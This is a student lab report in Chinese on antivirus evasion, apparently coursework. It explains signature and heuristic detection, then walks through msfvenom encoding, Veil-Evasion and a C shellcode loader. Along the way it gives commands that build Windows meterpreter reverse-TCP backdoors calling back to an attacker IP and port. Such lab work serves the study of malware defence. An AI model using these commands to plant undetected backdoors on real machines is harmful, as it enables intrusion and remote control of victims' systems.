• 2017-2018-2 20155309 南皓芯 Exp3 免杀原理与实践


    报告内容

    2.1.基础问题回答

    (1)杀软是如何检测出恶意代码的 ?

    1:基于特征码

    一段特征码就是一段或多段数据。(如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码)
    杀毒软件有自己专门的特征码库,在检测一个程序是否是恶意代码时就看这个程序中的是否包含有特征码库中的特征码,如果有就进行查杀。但是特征码库并不是总是能第一时间更新,如果出现了特征码库中没有的新特征码,那么就无法通过这种比对的方法进行查杀。

    2.启发式恶意软件检测
    在课堂上,老师让王昊同学翻译了这个句子。
    也就是代表了启发式恶意软件检测

    When I see a bird that walks like a duck and swims like a duck and quacks like a duck, I call that bird a duck.

    (2)免杀是做什么?

    就是通过针对杀毒软件查杀恶意代码的原理,将恶意代码进行修改和包装,反过来使得恶意代码能够不被杀毒软件所检测和查杀,更好地植入到被攻击的主机中进行一些非法的操作。

    (3)免杀的基本方法有哪些?

    1.改变特征码,为恶意代码加上一层保护壳,比如利用重新进行编码的方式改变其源代码,或者改变它的编译方式,从而使杀毒软件检测不到恶意代码的特征码已达到免杀的目的

    2.改变恶意代码的行为,在使用反弹式链接可以避免防火墙或者杀毒软件检测到恶意代码,即想办法绕过这些有防火墙或者杀毒软件保护的路径。在恶意代码对系统进行操作的时候,尽量使自己看起来像一个正常的程序一样,避免一些有可能被杀毒软件检测到并判定为恶意代码的可疑行为。

    3.非常规方法,例如纯手工编写一个恶意代码,杀毒软件的恶意代码库中一般是大规模流行于市面的恶意代码,对个人编写的恶意代码没有用处。

    实践内容

    1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)

    1.2 通过组合应用各种技术实现恶意代码免杀(1分)
    (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图)

    1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

    一、msfvenom直接生成meterpreter可执行文件

    首先我们还是要查看主机和虚拟机的IP地址

    虚拟机IP

    主机IP

    生成的后门程序如下:

    我们发现必须将后门名称修改后才可以继续进行扫描,我将后门名字改成了155309

    http://www.virscan.org/网址上对自己的后门程序进行扫描

    二、Msfvenom使用编码器生成meterpreter可执行文件

    (一)一次编码

    1.在虚拟机中生成可执行文件20155309_backdoor.exe

    2.将可执行文件传到主机中
    3.在http://www.virscan.org/网站上查一下这个病毒能被多少杀软检测出来。

    看到还是19/39的软件能够查到病毒

    (二)多次编码

    1.在虚拟机中将恶意代码编译十次

    2.从虚拟机将文件传到主机

    3.检测出有21/39的杀软查出了病毒,看来杀软对于多次编码的病毒大部分还是能够防御的

    三、使用Veil-Evasion生成可执行文件

    1.首先下载veil,因为耗时太久网又太烂,所以用了老师的虚拟机,修改主机名的步骤如下:

    首先点击右上角的箭头->接着点击“有线”右侧小箭头,双击“有线设置”,如下图所示

    第二步如果没有出现全部设置,则需要点击左上角后退箭头查看全部设置,如下图所示:

    点击system中的sharling即可。

    第二步,我们有了实验所需的veil工具后,首先要启用veil,输入命令:veil;接着进入veil-evasion,在veil中输入命令:use evasion,如下图所示:

    查看kali虚拟机的IP地址:

    3.输入命令:use python/meterpreter/rev_tcp.py用python语言重写meterperter【注:这里用python后面会出错哦,不想尝试错误的话,直接把python改成c就好啦】,如下图所示(此时输入提示变为“[python/meterpreter/rev_tcp>>]”):

    4.设置反弹连接IP,命令为:set LHOST 127.0.0.1,注意此处的IP是KaliIP;

    5.设置端口,命令为:set LPORT 5309

    6.输入generate生成文件,接着输入你想要playload的名字:playload5309

    选择第一种默认方式生成:1

    这说明应该是python这种语言不可以,所以按照同样的方法,我们选择别的语言,在第一种方法中把use python/meterpreter/rev_tcp.py改成use c/meterpreter/rev_tcp.py,其他步骤完全相同。

    /var/lib/veil/output/compiled/playload5309.exe这个路径下找我们生成的exe文件,不好找的话直接使用命令:cp -r /var/lib/veil/output/compiled/playload5309.exe 把这个文件复制到我们熟悉的路径下

    C语言调用Shellcode版本

    首先使用命令:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.234.141 LPORT=5309 -f c

    用c语言生成一段shellcode;

    将shellcode字符串复制下来,然后在win主机编辑一个C语言程序,用VS编译运行

    回连

    回连成功

    实践总结与体会

    这次实验我觉得自己最大的体会就是,虽然以前设想过如果是个人编出的一个恶意代码,因为它的小众化所以不会流行在市面上以至于被杀毒软件加进病毒库中,没有想过这样的想法是非常容易实现的。但是从另一个方面,恶意代码虽然可以想办法绕过甚至骗过我们安装的各种杀毒软件,但它始终会在我们的电脑里留下痕迹,比如电脑莫名的卡,或是在某个文件夹下莫名出现之前并没有安装的程序等等。提高我们的防范意识,可能不能完全解决恶意代码的入侵,但是能够一定程度上的限制恶意代码。

  • 相关阅读:
    用折半查找法找出整型数组中指定元素所在的位置,并输出(折半查找法只能用于有序数列)。
    统计母字符串中含有子串的个数。
    //插入排序法对数组中的元素按从小到大进行排序
    求斐波那契(fibonacci)数列前20项的值 ,递归调用
    C++实现一句英文句子中的单词逆置
    C语言-黑白棋(人机对战)
    第九届蓝桥杯-明码
    四连块dfs
    八连块dfs
    求素数
  • 原文地址:https://www.cnblogs.com/nhx19970709/p/8784343.html
Copyright © 2020-2023  润新知